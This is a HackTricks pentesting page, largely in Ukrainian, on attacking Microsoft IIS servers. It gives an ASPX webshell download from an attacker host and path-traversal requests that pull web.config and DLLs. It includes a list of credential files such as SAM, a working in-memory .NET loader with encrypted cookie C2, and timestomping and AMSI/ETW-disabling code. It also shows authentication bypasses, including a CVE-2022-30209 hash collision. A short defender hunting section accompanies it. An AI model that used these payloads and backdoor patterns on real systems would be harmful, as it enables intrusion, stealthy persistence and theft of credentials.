IIS - Internet Information Services

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Тестові розширення виконуваних файлів:

  • asp
  • aspx
  • config
  • php

Webroot з правом запису → ASPX command shell

Якщо користувач/група з низькими привілеями має права запису до C:\inetpub\wwwroot, ви можете завантажити ASPX webshell і виконувати команди ОС від імені ідентичності пулу додатків (зазвичай має SeImpersonatePrivilege).

  • Перевірте ACL: icacls C:\inetpub\wwwroot або cacls ., шукаючи (F) для вашого користувача/групи.
  • Завантажте командний webshell (наприклад, fuzzdb/tennc cmd.aspx) за допомогою PowerShell:
iwr http://ATTACKER_IP/shell.aspx -OutFile C:\inetpub\wwwroot\shell.aspx
  • Запитайте /shell.aspx і виконайте команди; ідентичність зазвичай показує iis apppool\defaultapppool.
  • Поєднайте з Potato-family LPE (e.g., GodPotato/SigmaPotato), коли AppPool token має SeImpersonatePrivilege, щоб перейти до SYSTEM.

Розкриття внутрішньої IP-адреси

На будь-якому IIS сервері, де ви отримуєте 302, можна спробувати прибрати Host header і використовувати HTTP/1.0 — у відповіді Location header може вказувати на внутрішню IP-адресу:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Відповідь, що розкриває внутрішню IP-адресу:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Execute .config files

Ви можете завантажити .config файли та використати їх для виконання коду. Один зі способів — додати код в кінець файлу всередині HTML-коментаря: Download example here

Більше інформації та технік для експлуатації цієї вразливості here

IIS Discovery Bruteforce

Завантажте список, який я створив:

Він створений шляхом об’єднання вмісту таких списків:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Використовуйте його без додавання розширення — файли, яким воно потрібне, вже містять його.

Path Traversal

Leaking source code

Дивіться повний опис тут: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

У підсумку, у папках застосунку є кілька файлів web.config, які містять посилання на файли “assemblyIdentity” та “namespaces”. З цією інформацією можна визначити де розташовані виконувані файли та завантажити їх.
З завантажених Dlls також можна знайти нові namespaces, куди слід спробувати отримати доступ і отримати файл web.config, щоб знайти нові namespaces та assemblyIdentity.
Також файли connectionstrings.config та global.asax можуть містити цікаву інформацію.

У .Net MVC applications файл web.config відіграє ключову роль, вказуючи кожний бінарний файл, від якого залежить застосунок, через XML-теги “assemblyIdentity”.

Exploring Binary Files

Нижче наведено приклад доступу до файлу web.config:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Цей запит виявляє різні налаштування та залежності, такі як:

  • EntityFramework версія
  • AppSettings для webpages, client validation та JavaScript
  • System.web конфігурації для authentication і runtime
  • System.webServer настройки модулів
  • Runtime assembly bindings для багатьох бібліотек, таких як Microsoft.Owin, Newtonsoft.Json та System.Web.Mvc

Ці налаштування свідчать, що певні файли, такі як /bin/WebGrease.dll, розташовані в папці /bin додатка.

Root Directory Files

Файли, знайдені в кореневій директорії, такі як /global.asax і /connectionstrings.config (які містять конфіденційні паролі), є необхідними для конфігурації та роботи додатка.

Namespaces and Web.Config

MVC-додатки також визначають додаткові web.config files для конкретних просторів імен, щоб уникнути повторюваних декларацій у кожному файлі, як показано запитом на завантаження іншого web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Завантаження DLL

Згадка власного простору імен натякає на DLL з ім’ям “WebApplication1”, що знаходиться в директорії /bin. Далі наведено запит на завантаження WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Це вказує на наявність інших необхідних DLL, таких як System.Web.Mvc.dll та System.Web.Optimization.dll, у папці /bin.

У сценарії, коли DLL імпортує простір імен під назвою WebApplication1.Areas.Minded, зловмисник може припустити наявність інших файлів web.config у передбачуваних шляхах, таких як /area-name/Views/, які містять конкретні конфігурації та посилання на інші DLL у папці /bin. Наприклад, запит до /Minded/Views/web.config може розкрити конфігурації та простори імен, що вказують на наявність іншої DLL, WebApplication1.AdditionalFeatures.dll.

Поширені файли

Джерело: here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 помилка

If you see an error like the following one:

Це означає, що сервер не отримав правильне доменне ім’я в Host header.
Щоб отримати доступ до веб-сторінки, можна переглянути наданий SSL Certificate — можливо, у ньому вказано домен/субдомен. Якщо його там немає, можливо доведеться brute force VHosts поки не знайдете правильний.

Розшифрування зашифрованих конфігурацій та ASP.NET Core Data Protection key rings

Two common patterns to protect secrets on IIS-hosted .NET apps are:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) for web.config sections like .
  • ASP.NET Core Data Protection key ring (persisted locally) used to protect application secrets and cookies.

If you have filesystem or interactive access on the web server, co-located keys often allow decryption.

  • ASP.NET (Full Framework) – розшифрувати захищені секції конфігурації за допомогою aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – шукати Data Protection key rings, збережені локально (XML/JSON файли) у місцях типу:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

With the key ring available, an operator running in the app’s identity can instantiate an IDataProtector with the same purposes and unprotect stored secrets. Misconfigurations that store the key ring with the app files make offline decryption trivial once the host is compromised.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

The Phantom Taurus/NET-STAR toolkit shows a mature pattern for fileless IIS persistence and post‑exploitation entirely inside w3wp.exe. The core ideas are broadly reusable for custom tradecraft and for detection/hunting.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64‑encoded, optionally Gzip‑compressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results are wrapped with Gzip → AES‑ECB/PKCS7 → Base64 and moved via seemingly legitimate cookie‑heavy requests; operators used stable delimiters (e.g., “STAR”) for chunking.
  • Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk.
  • Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) – exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR.
  • Optional AMSI/ETW pre‑disable for loaders: a second‑stage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of in‑memory payloads.

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Packing/crypto допоміжні інструменти (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session flow and command surface

  • Ініціалізація сесії та tasking передаються через cookies, щоб злитися з нормальною web-активністю.
  • Команди, виявлені в реальних умовах, включали: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; and dynamic execution primitives code_self, code_pid, run_code for in‑memory .NET execution.

Timestomping utility

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Вбудоване відключення AMSI/ETW перед Assembly.Load (loader variant)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

Див. AMSI/ETW bypass techniques в: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • Один дивний ASPX сторінка з дуже довгими Base64/Gzip блобами; пости з великою кількістю cookie.
  • Unbacked managed modules inside w3wp.exe; рядки типу Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • Повторювані роздільники, як “STAR”, у трафіку; невідповідні або навіть майбутні часові мітки в ASPX/assemblies.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

Багато ASP.NET додатків вбудовують Telerik UI for ASP.NET AJAX і експонують незавірений обробник Telerik.Web.UI.WebResource.axd. Коли досяжний endpoint кешу Image Editor (type=iec), параметри dkey=1 та prtype дозволяють unsafe reflection, що виконує будь-який публічний конструктор без параметрів pre‑auth. Це дає універсальний DoS-примітив і може ескалувати до pre‑auth RCE в додатках з ненадійними обробниками AppDomain.AssemblyResolve.

Див. детальні техніки та PoCs тут:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Ви можете спробувати enumerate folders and files всередині кожної знайденої папки (навіть якщо вона вимагає Basic Authentication) використовуючи цю technique.
Головне обмеження цієї техніки, якщо сервер вразливий, полягає в тому, що вона може знайти лише перші 6 літер назви кожного файлу/папки та перші 3 літери розширення файлів.

Ви можете використати https://github.com/irsdl/IIS-ShortName-Scanner щоб перевірити на цю вразливість:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Оригінальне дослідження: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Ви також можете використати metasploit: use scanner/http/iis_shortname_scanner

Гарна ідея, щоб знайти фінальну назву виявлених файлів — запитати LLMs про варіанти, як це зроблено в скрипті https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

Bypass a basic authentication (IIS 7.5) спробувавши отримати доступ до: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php

Ви можете спробувати mix цю vulnerability з попередньою, щоб знайти нові folders і bypass автентифікацію.

ASP.NET Trace.AXD enabled debugging

ASP.NET містить режим відладки, і його файл називається trace.axd.

Він зберігає дуже детальний лог всіх запитів, зроблених до додатку за певний проміжок часу.

Ця інформація включає IP-адреси віддалених клієнтів, session IDs, всі request і response cookies, фізичні шляхи, інформацію з вихідного коду і, потенційно, навіть імена користувачів та паролі.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH використовує такі дані:

  • validationKey (string): ключ, закодований у hex, для валідації підпису.
  • decryptionMethod (string): (за замовчуванням “AES”).
  • decryptionIV (string): ініціалізаційний вектор, закодований у hex (за замовчуванням вектор нулів).
  • decryptionKey (string): ключ, закодований у hex, для дешифрування.

Однак деякі люди використовують default values цих параметрів і ставлять як cookie the email of the user. Тому, якщо ви можете знайти сайт на same platform, який використовує ASPXAUTH cookie, і ви create a user with the email of the user you want to impersonate на сервері під атакою, ви можете змогти use the cookie from the second server in the first one і виступати від імені цього користувача.
Цей метод спрацював у цьому writeup.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: Помилка в коді не перевіряла належним чином пароль, введений користувачем, тому атакувальник, чиїй password hash hits a key який вже є в cache, зможе увійти як цей користувач.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks